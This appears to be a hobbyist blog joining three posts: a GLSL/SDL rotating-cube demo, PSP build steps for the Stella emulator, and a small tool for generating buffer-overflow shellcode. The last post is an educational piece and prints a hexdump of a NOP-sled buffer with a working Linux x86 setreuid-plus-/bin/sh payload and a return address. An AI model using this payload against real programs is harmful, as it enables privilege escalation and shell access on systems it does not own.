Optixx

Found some time to play with GLSL Extension. I started with a simple Cube Demo from NeHe using SDL for the user interface programming. Then i added GLEW as the GLSL extension wrapper. The Shader Programs are taken from Linux Magazin Article. Currently no own ideas First i had to refresh my OpenGL basics. So i added some switches to trigger Alpha Blending and different textures.

When running the demo you press following keys to trigger different effects:

• ‘l’ to toggle Light
• ‘b’ to enable Alpha Blend
• ‘f’ to step through NEAREST, LINEAR and MIPMAP textures
• ’s’ toggle current Shader Programm
• ‘n’ switch to different Shader Programms

Use the mouse and the left button to rotate the cube. The right button and mouse motion to zoom into the scene. The code was tested with a Nvida GT6800 card. You’ll need nvidia GL library, Glew and SDLlib to build it from sources.

Toonshading

Deformation

Mipmapped Texture

Source

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Updated PSP build to reflect lastest changes of the of the Stella project. Currently the PSP build only works when not disabling the Debugger Console during compile time. So this time configure option –disable-developer will leed to a broken build, even when the debugger is not useable on the PSP. This build is done with revison 1426 of pspsdk and libsdl.

Building

To build for the PSP, make sure psp-config is in the path and run:

   ./configure --host=psp 
   make
   make psp-layout
   make psp-upload

Dependencies

• psp-toolchain
• pspsdk
• libsdl
• libpng

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Source

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Inspired by an article in german Hakin9 Magazin from October 2005, i wrote a little programm to test and generate shellcode.A good place to learn about buffer overflows is here. I found a interesting python framwork called inlinegg for shellcode generating. This make shellcode developing really easy and effective.

My simple tool is used to prepare buffers with shellcode.The actual asm code is done with nasm and linked a against a gcc main programm. The programm has three modes: dump, exec and gen.

Dump does a hexdump of the plain shellcode, usefull when tracing null bytes.

For testing the functionality of the shellcode you can use exec which simple calls the shellcode like function.

Gen is used to build a buffer with the actual shellcode. The code is hexdumped to stdout, raw code it written to stderr and also the enviroment var $CODE is set. Also the target buffer size and stack jump address as to be passed to the program. The buffer ist first filled with the jump address and then the first half with NOPs overwritten. The shellcode gets copied to the middle of the buffer.

./mkbuffer gen 256  0x1234567
Start: 0x0x8048bb0
End:   0x0x8048bd9
Len:   0x29 (41 bytes)
jump:  0x1234567
90
0x0000:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0010:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0020:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0030:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0040:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0050:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0060:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0070:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31
0x0080:c0 b0 46 31 db 31 c9 cd 80 eb 10 5b 31 c0 88 43
0x0090:07 50 53 89 e1 b0 0b 31 d2 cd 80 e8 eb ff ff ff
0x00a0:2f 62 69 6e 2f 73 68 58 45 23 01 67 45 23 01 67
0x00b0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00c0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00d0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00e0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00f0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01
setup env $CODE

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